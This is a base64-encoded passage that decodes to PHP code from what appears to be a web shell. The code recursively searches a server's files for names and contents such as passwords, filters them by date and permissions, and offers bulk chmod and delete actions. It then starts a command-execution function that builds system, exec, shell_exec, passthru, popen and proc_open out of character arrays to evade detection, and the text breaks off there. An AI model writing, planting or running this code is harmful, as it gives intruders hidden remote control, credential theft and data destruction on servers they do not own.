ICAgICAgICAgICAkcmVzdWx0cyA9IFtdOwogICAgICAgICAgICAkZGF0ZUZyb21UcyA9ICFlbXB0eSgkZGF0ZUZyb20pID8gc3RydG90aW1lKCRkYXRlRnJvbSAuICcgMDA6MDA6MDAnKSA6IDA7CiAgICAgICAgICAgICRkYXRlVG9UcyA9ICFlbXB0eSgkZGF0ZVRvKSA/IHN0cnRvdGltZSgkZGF0ZVRvIC4gJyAyMzo1OTo1OScpIDogUEhQX0lOVF9NQVg7CiAgICAgICAgICAgIHN3aXRjaCAoJGRhdGVGaWx0ZXIpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ3RvZGF5JzogJGRhdGVGcm9tVHMgPSBzdHJ0b3RpbWUoJ3RvZGF5IDAwOjAwOjAwJyk7ICRkYXRlVG9UcyA9IHN0cnRvdGltZSgndG9kYXkgMjM6NTk6NTknKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICd5ZXN0ZXJkYXknOiAkZGF0ZUZyb21UcyA9IHN0cnRvdGltZSgneWVzdGVyZGF5IDAwOjAwOjAwJyk7ICRkYXRlVG9UcyA9IHN0cnRvdGltZSgneWVzdGVyZGF5IDIzOjU5OjU5Jyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnbGFzdDdkYXlzJzogJGRhdGVGcm9tVHMgPSBzdHJ0b3RpbWUoJy03IGRheXMgMDA6MDA6MDAnKTsgJGRhdGVUb1RzID0gdGltZSgpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ2xhc3QzMGRheXMnOiAkZGF0ZUZyb21UcyA9IHN0cnRvdGltZSgnLTMwIGRheXMgMDA6MDA6MDAnKTsgJGRhdGVUb1RzID0gdGltZSgpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3RoaXNtb250aCc6ICRkYXRlRnJvbVRzID0gc3RydG90aW1lKCdmaXJzdCBkYXkgb2YgdGhpcyBtb250aCAwMDowMDowMCcpOyAkZGF0ZVRvVHMgPSBzdHJ0b3RpbWUoJ2xhc3QgZGF5IG9mIHRoaXMgbW9udGggMjM6NTk6NTknKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdsYXN0bW9udGgnOiAkZGF0ZUZyb21UcyA9IHN0cnRvdGltZSgnZmlyc3QgZGF5IG9mIGxhc3QgbW9udGggMDA6MDA6MDAnKTsgJGRhdGVUb1RzID0gc3RydG90aW1lKCdsYXN0IGRheSBvZiBsYXN0IG1vbnRoIDIzOjU5OjU5Jyk7IGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR0aGlzLT5zZWFyY2hGaWxlc0FkdmFuY2VkKCRzZWFyY2hQYXRoLCAkc2VhcmNoTmFtZSwgJHNlYXJjaENvbnRlbnQsICRkYXRlRnJvbVRzLCAkZGF0ZVRvVHMsICRyZXN1bHRzLCAwLCAkY2htb2RGaWx0ZXIpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHRzKSkgewogICAgICAgICAgICAgICAgdXNvcnQoJHJlc3VsdHMsIGZ1bmN0aW9uKCRhLCAkYikgeyByZXR1cm4gJGJbJ210aW1lJ10gLSAkYVsnbXRpbWUnXTsgfSk7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkZvdW5kICIgLiBjb3VudCgkcmVzdWx0cykgLiAiIHJlc3VsdChzKTo8L2ZvbnQ+PGJyPjxicj4iOwogICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBzYVNlYXJjaChzcmMpe3ZhciBjYj1kb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnc2VsZWN0ZWRfZmlsZXNbXScpO2Zvcih2YXIgaT0wO2k8Y2IubGVuZ3RoO2krKyl7Y2JbaV0uY2hlY2tlZD1zcmMuY2hlY2tlZDt9fWZ1bmN0aW9uIGNvbmZpcm1CdWxrQWN0aW9uKGFjdGlvbil7dmFyIGNiPWRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCdzZWxlY3RlZF9maWxlc1tdJyk7dmFyIHNlbD0wO2Zvcih2YXIgaT0wO2k8Y2IubGVuZ3RoO2krKyl7aWYoY2JbaV0uY2hlY2tlZClzZWwrKzt9aWYoc2VsPT0wKXthbGVydCgnUGxlYXNlIHNlbGVjdCBhdCBsZWFzdCBvbmUgZmlsZSEnKTtyZXR1cm4gZmFsc2U7fWlmKGFjdGlvbj09J2RlbGV0ZScpe3JldHVybiBjb25maXJtKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gREVMRVRFICcrc2VsKycgZmlsZShzKT8nKTt9cmV0dXJuIGNvbmZpcm0oJ0FwcGx5ICcrYWN0aW9uKycgdG8gJytzZWwrJyBmaWxlKHMpPycpO308L3NjcmlwdD4iOwogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBuYW1lPSdidWxrRm9ybSc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzZWFyY2gnPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjJyB2YWx1ZT0nIiAuICRjd2RFbmNvZGVkIC4gIic+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NlYXJjaF9wYXRoJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaFBhdGgpIC4gIic+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NlYXJjaF9uYW1lJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaE5hbWUpIC4gIic+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NlYXJjaF9jb250ZW50JyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaENvbnRlbnQpIC4gIic+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RhdGVfZnJvbScgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYXRlRnJvbSkgLiAiJz4iOwogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGF0ZV90bycgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYXRlVG8pIC4gIic+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RhdGVfZmlsdGVyJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGVGaWx0ZXIpIC4gIic+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NobW9kX2ZpbHRlcicgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRjaG1vZEZpbHRlcikgLiAiJz4iOwogICAgICAgICAgICAgICAgZWNobyAiPHRhYmxlIGNsYXNzPSdtYWluJyB3aWR0aD0nMTAwJSc+IjsKICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGggd2lkdGg9JzIwcHgnPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0nc2FTZWFyY2godGhpcyknIHRpdGxlPSdTZWxlY3QgQWxsJz48L3RoPjx0aD5QYXRoPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmaWVkPC90aD48dGg+Q3JlYXRlZDwvdGg+PHRoPlBlcm1zPC90aD48dGg+VVJMPC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdHMgYXMgJHIpIHsKICAgICAgICAgICAgICAgICAgICAkZW5jUGF0aCA9IHVybGVuY29kZShzdHJfcm90MTMoJHJbJ3BhdGgnXSkpOwogICAgICAgICAgICAgICAgICAgICRmaWxlVXJsID0gJHRoaXMtPmdldEZpbGVVcmwoJHJbJ3BhdGgnXSk7CiAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gQGZpbGVwZXJtcygkclsncGF0aCddKTsKICAgICAgICAgICAgICAgICAgICAkcGVybXNTdHIgPSAkcGVybXMgPyBzdWJzdHIoc3ByaW50ZignJW8nLCAkcGVybXMpLCAtNCkgOiAnLS0tLSc7CiAgICAgICAgICAgICAgICAgICAgJGN0aW1lID0gQGZpbGVjdGltZSgkclsncGF0aCddKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+IjsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdzZWxlY3RlZF9maWxlc1tdJyB2YWx1ZT0nIiAuICRlbmNQYXRoIC4gIic+PC90ZD4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCB0aXRsZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHJbJ3BhdGgnXSkgLiAiJz4iIC4gaHRtbHNwZWNpYWxjaGFycyhzdHJsZW4oJHJbJ3BhdGgnXSkgPiA2MCA/ICcuLi4nIC4gc3Vic3RyKCRyWydwYXRoJ10sIC01NykgOiAkclsncGF0aCddKSAuICI8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAkdGhpcy0+Zm9ybWF0U2l6ZSgkclsnc2l6ZSddKSAuICI8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAkclsnbW9kaWZpZWQnXSAuICI8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAoJGN0aW1lID8gZGF0ZSgiWS1tLWQgSDppOnMiLCAkY3RpbWUpIDogJy0nKSAuICI8L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPiIgLiAkcGVybXNTdHIgLiAiPC90ZD4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD48YSBocmVmPSciIC4gaHRtbHNwZWNpYWxjaGFycygkZmlsZVVybCkgLiAiJyB0YXJnZXQ9J19ibGFuayc+TGluazwvYT48L3RkPiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPjxhIGhyZWY9JyMnIG9uY2xpY2s9XCJnKCdmdCcsJyIgLiAkY3dkRW5jb2RlZCAuICInLCciIC4gJGVuY1BhdGggLiAiJywndmlldycpXCI+VmlldzwvYT4gPGEgaHJlZj0nIycgb25jbGljaz1cImcoJ2Z0JywnIiAuICRjd2RFbmNvZGVkIC4gIicsJyIgLiAkZW5jUGF0aCAuICInLCdlZGl0JylcIj5FZGl0PC9hPjwvdGQ+IjsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGI+QnVsayBBY3Rpb25zOjwvYj4gIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxidXR0b24gdHlwZT0nc3VibWl0JyBuYW1lPSdidWxrX2FjdGlvbicgdmFsdWU9J2NobW9kNjQ0JyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm1CdWxrQWN0aW9uKCdjaG1vZCAwNjQ0JylcIj5DaG1vZCAwNjQ0PC9idXR0b24+ICI7CiAgICAgICAgICAgICAgICBlY2hvICI8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVsa19hY3Rpb24nIHZhbHVlPSdjaG1vZDc1NScgb25jbGljaz1cInJldHVybiBjb25maXJtQnVsa0FjdGlvbignY2htb2QgMDc1NScpXCI+Q2htb2QgMDc1NTwvYnV0dG9uPiAiOwogICAgICAgICAgICAgICAgZWNobyAiPGJ1dHRvbiB0eXBlPSdzdWJtaXQnIG5hbWU9J2J1bGtfYWN0aW9uJyB2YWx1ZT0nZGVsZXRlJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm1CdWxrQWN0aW9uKCdkZWxldGUnKVwiIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiNjMDA7Jz5EZWxldGUgU2VsZWN0ZWQ8L2J1dHRvbj4iOwogICAgICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5ObyByZXN1bHRzIGZvdW5kLjwvZm9udD4iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBlY2hvICI8YnI+PGJyPjxmb3JtIG1ldGhvZD0ncG9zdCc+IjsKICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc2VhcmNoJz4iOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciIC4gJGN3ZEVuY29kZWQgLiAiJz4iOwogICAgICAgIGVjaG8gIjx0YWJsZT4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+U2VhcmNoIFBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlYXJjaF9wYXRoJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaFBhdGgpIC4gIicgc3R5bGU9J3dpZHRoOjQwMHB4Oyc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD5GaWxlIE5hbWUgKHJlZ2V4KTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VhcmNoX25hbWUnIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoTmFtZSkgLiAiJyBzdHlsZT0nd2lkdGg6NDAwcHg7JyBwbGFjZWhvbGRlcj0nZS5nLiBcXC5waHAkIG9yIGNvbmZpZyc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD5Db250ZW50IChyZWdleCk6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlYXJjaF9jb250ZW50JyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaENvbnRlbnQpIC4gIicgc3R5bGU9J3dpZHRoOjQwMHB4OycgcGxhY2Vob2xkZXI9J2UuZy4gcGFzc3dvcmQgb3IgZXZhbFxcKCc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZCBjb2xzcGFuPScyJz48aHI+PGI+RGF0ZS9UaW1lIEZpbHRlcjo8L2I+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD5RdWljayBGaWx0ZXI6PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSdkYXRlX2ZpbHRlcic+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdhbnknIiAuICgkZGF0ZUZpbHRlciA9PSAnYW55JyA/ICcgc2VsZWN0ZWQnIDogJycpIC4gIj5BbnkgVGltZTwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndG9kYXknIiAuICgkZGF0ZUZpbHRlciA9PSAndG9kYXknID8gJyBzZWxlY3RlZCcgOiAnJykgLiAiPlRvZGF5PC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd5ZXN0ZXJkYXknIiAuICgkZGF0ZUZpbHRlciA9PSAneWVzdGVyZGF5JyA/ICcgc2VsZWN0ZWQnIDogJycpIC4gIj5ZZXN0ZXJkYXk8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2xhc3Q3ZGF5cyciIC4gKCRkYXRlRmlsdGVyID09ICdsYXN0N2RheXMnID8gJyBzZWxlY3RlZCcgOiAnJykgLiAiPkxhc3QgNyBEYXlzPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdsYXN0MzBkYXlzJyIgLiAoJGRhdGVGaWx0ZXIgPT0gJ2xhc3QzMGRheXMnID8gJyBzZWxlY3RlZCcgOiAnJykgLiAiPkxhc3QgMzAgRGF5czwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGhpc21vbnRoJyIgLiAoJGRhdGVGaWx0ZXIgPT0gJ3RoaXNtb250aCcgPyAnIHNlbGVjdGVkJyA6ICcnKSAuICI+VGhpcyBNb250aDwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nbGFzdG1vbnRoJyIgLiAoJGRhdGVGaWx0ZXIgPT0gJ2xhc3Rtb250aCcgPyAnIHNlbGVjdGVkJyA6ICcnKSAuICI+TGFzdCBNb250aDwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nY3VzdG9tJyIgLiAoJGRhdGVGaWx0ZXIgPT0gJ2N1c3RvbScgPyAnIHNlbGVjdGVkJyA6ICcnKSAuICI+Q3VzdG9tIFJhbmdlPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8L3NlbGVjdD48L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPkRhdGUgRnJvbTo8L3RkPjx0ZD48aW5wdXQgdHlwZT0nZGF0ZScgbmFtZT0nZGF0ZV9mcm9tJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGVGcm9tKSAuICInPjwvdGQ+PC90cj4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+RGF0ZSBUbzo8L3RkPjx0ZD48aW5wdXQgdHlwZT0nZGF0ZScgbmFtZT0nZGF0ZV90bycgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYXRlVG8pIC4gIic+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZCBjb2xzcGFuPScyJz48aHI+PGI+UGVybWlzc2lvbiBGaWx0ZXI6PC9iPjwvdGQ+PC90cj4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+Q2htb2QgRmlsdGVyOjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0nY2htb2RfZmlsdGVyJz4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2FueSciIC4gKCRjaG1vZEZpbHRlciA9PSAnYW55JyA/ICcgc2VsZWN0ZWQnIDogJycpIC4gIj5BbnkgUGVybWlzc2lvbjwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nZGlyX25vdF8wNzU1JyIgLiAoJGNobW9kRmlsdGVyID09ICdkaXJfbm90XzA3NTUnID8gJyBzZWxlY3RlZCcgOiAnJykgLiAiPkZvbGRlcnMgTk9UIDA3NTU8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2ZpbGVfbm90XzA2NDQnIiAuICgkY2htb2RGaWx0ZXIgPT0gJ2ZpbGVfbm90XzA2NDQnID8gJyBzZWxlY3RlZCcgOiAnJykgLiAiPkZpbGVzIE5PVCAwNjQ0PC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdib3RoX2Fibm9ybWFsJyIgLiAoJGNobW9kRmlsdGVyID09ICdib3RoX2Fibm9ybWFsJyA/ICcgc2VsZWN0ZWQnIDogJycpIC4gIj5Gb2xkZXJzIE5PVCAwNzU1ICsgRmlsZXMgTk9UIDA2NDQ8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjwvc2VsZWN0PjwvdGQ+PC90cj4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NlYXJjaCc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+PC9kaXY+IjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2VhcmNoRmlsZXNBZHZhbmNlZCgkZGlyLCAkbmFtZVBhdHRlcm4sICRjb250ZW50UGF0dGVybiwgJGRhdGVGcm9tVHMsICRkYXRlVG9UcywgJiRyZXN1bHRzLCAkZGVwdGgsICRjaG1vZEZpbHRlciA9ICdhbnknKSB7CiAgICAgICAgaWYgKCRkZXB0aCA+IDEwIHx8IGNvdW50KCRyZXN1bHRzKSA+IDUwMCkgcmV0dXJuOwogICAgICAgICRoYW5kbGUgPSBAb3BlbmRpcigkZGlyKTsKICAgICAgICBpZiAoISRoYW5kbGUpIHJldHVybjsKICAgICAgICB3aGlsZSAoKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAkcGF0aCA9IHJ0cmltKCRkaXIsICcvJykgLiAnLycgLiAkZmlsZTsKICAgICAgICAgICAgaWYgKEBpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICBpZiAoJGNobW9kRmlsdGVyID09ICdkaXJfbm90XzA3NTUnIHx8ICRjaG1vZEZpbHRlciA9PSAnYm90aF9hYm5vcm1hbCcpIHsKICAgICAgICAgICAgICAgICAgICAkZGlyUGVybXMgPSBAZmlsZXBlcm1zKCRwYXRoKSAmIDA3Nzc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRkaXJQZXJtcyAhPSAwNzU1KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtdGltZSA9IEBmaWxlbXRpbWUoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG10aW1lID49ICRkYXRlRnJvbVRzICYmICRtdGltZSA8PSAkZGF0ZVRvVHMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuYW1lTWF0Y2ggPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZVBhdHRlcm4pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBwcmVnX21hdGNoKCcvJyAuICRuYW1lUGF0dGVybiAuICcvaScsICcnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5hbWVNYXRjaCA9IChzdHJpcG9zKCRmaWxlLCAkbmFtZVBhdHRlcm4pICE9PSBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5hbWVNYXRjaCA9IEBwcmVnX21hdGNoKCcvJyAuICRuYW1lUGF0dGVybiAuICcvaScsICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG5hbWVNYXRjaCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBbJ3BhdGgnID0+ICRwYXRoLCAnc2l6ZScgPT4gMCwgJ21vZGlmaWVkJyA9PiBAZGF0ZSgiWS1tLWQgSDppOnMiLCAkbXRpbWUpLCAnbXRpbWUnID0+ICRtdGltZSwgJ3R5cGUnID0+ICdkaXInLCAncGVybXMnID0+IHNwcmludGYoJyUwNG8nLCAkZGlyUGVybXMpXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5zZWFyY2hGaWxlc0FkdmFuY2VkKCRwYXRoLCAkbmFtZVBhdHRlcm4sICRjb250ZW50UGF0dGVybiwgJGRhdGVGcm9tVHMsICRkYXRlVG9UcywgJHJlc3VsdHMsICRkZXB0aCArIDEsICRjaG1vZEZpbHRlcik7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICBpZiAoJGNobW9kRmlsdGVyID09ICdkaXJfbm90XzA3NTUnKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIGlmICgkY2htb2RGaWx0ZXIgPT0gJ2ZpbGVfbm90XzA2NDQnIHx8ICRjaG1vZEZpbHRlciA9PSAnYm90aF9hYm5vcm1hbCcpIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZVBlcm1zID0gQGZpbGVwZXJtcygkcGF0aCkgJiAwNzc3OwogICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZVBlcm1zID09IDA2NDQpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG5hbWVNYXRjaCA9IHRydWU7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRuYW1lUGF0dGVybikpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoQHByZWdfbWF0Y2goJy8nIC4gJG5hbWVQYXR0ZXJuIC4gJy9pJywgJycpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbmFtZU1hdGNoID0gKHN0cmlwb3MoJGZpbGUsICRuYW1lUGF0dGVybikgIT09IGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkbmFtZU1hdGNoID0gQHByZWdfbWF0Y2goJy8nIC4gJG5hbWVQYXR0ZXJuIC4gJy9pJywgJGZpbGUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJG5hbWVNYXRjaCkgY29udGludWU7CiAgICAgICAgICAgICAgICAkbXRpbWUgPSBAZmlsZW10aW1lKCRwYXRoKTsKICAgICAgICAgICAgICAgIGlmICgkbXRpbWUgPCAkZGF0ZUZyb21UcyB8fCAkbXRpbWUgPiAkZGF0ZVRvVHMpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgJGNvbnRlbnRNYXRjaCA9IHRydWU7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRjb250ZW50UGF0dGVybikpIHsKICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCwgZmFsc2UsIG51bGwsIDAsIDEwMjQgKiAxMDApOwogICAgICAgICAgICAgICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnRNYXRjaCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAcHJlZ19tYXRjaCgnLycgLiAkY29udGVudFBhdHRlcm4gLiAnL2knLCAnJykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudE1hdGNoID0gKHN0cmlwb3MoJGNvbnRlbnQsICRjb250ZW50UGF0dGVybikgIT09IGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50TWF0Y2ggPSBAcHJlZ19tYXRjaCgnLycgLiAkY29udGVudFBhdHRlcm4gLiAnL2knLCAkY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJGNvbnRlbnRNYXRjaCkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBbJ3BhdGgnID0+ICRwYXRoLCAnc2l6ZScgPT4gQGZpbGVzaXplKCRwYXRoKSwgJ21vZGlmaWVkJyA9PiBAZGF0ZSgiWS1tLWQgSDppOnMiLCAkbXRpbWUpLCAnbXRpbWUnID0+ICRtdGltZV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQGNsb3NlZGlyKCRoYW5kbGUpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQ29tbWFuZCgkY21kKSB7CiAgICAgICAgJG91dHB1dCA9ICcnOwogICAgICAgICRtID0gWydzJywneScsJ3MnLCd0JywnZScsJ20nXTsgJGUgPSBbJ2UnLCd4JywnZScsJ2MnXTsgJHNlID0gWydzJywnaCcsJ2UnLCdsJywnbCcsJ18nLCdlJywneCcsJ2UnLCdjJ107CiAgICAgICAgJHBhID0gWydwJywnYScsJ3MnLCdzJywndCcsJ2gnLCdyJywndSddOyAkcG8gPSBbJ3AnLCdvJywncCcsJ2UnLCduJ107ICRwciA9IFsncCcsJ3InLCdvJywnYycsJ18nLCdvJywncCcsJ2UnLCduJ107CiAgICAgICAgJGZfbSA9IGltcGxvZGUoJycsICRtKTsgJGZfZSA9IGltcGxvZGUoJycsICRlKTsgJGZfc2UgPSBpbXBsb2RlKCcnLCAkc2UpOwogICAgICAgICRmX3BhID0gaW1wbG9kZSgnJywgJHBhKTsgJGZfcG8gPSBpbXBsb2RlKC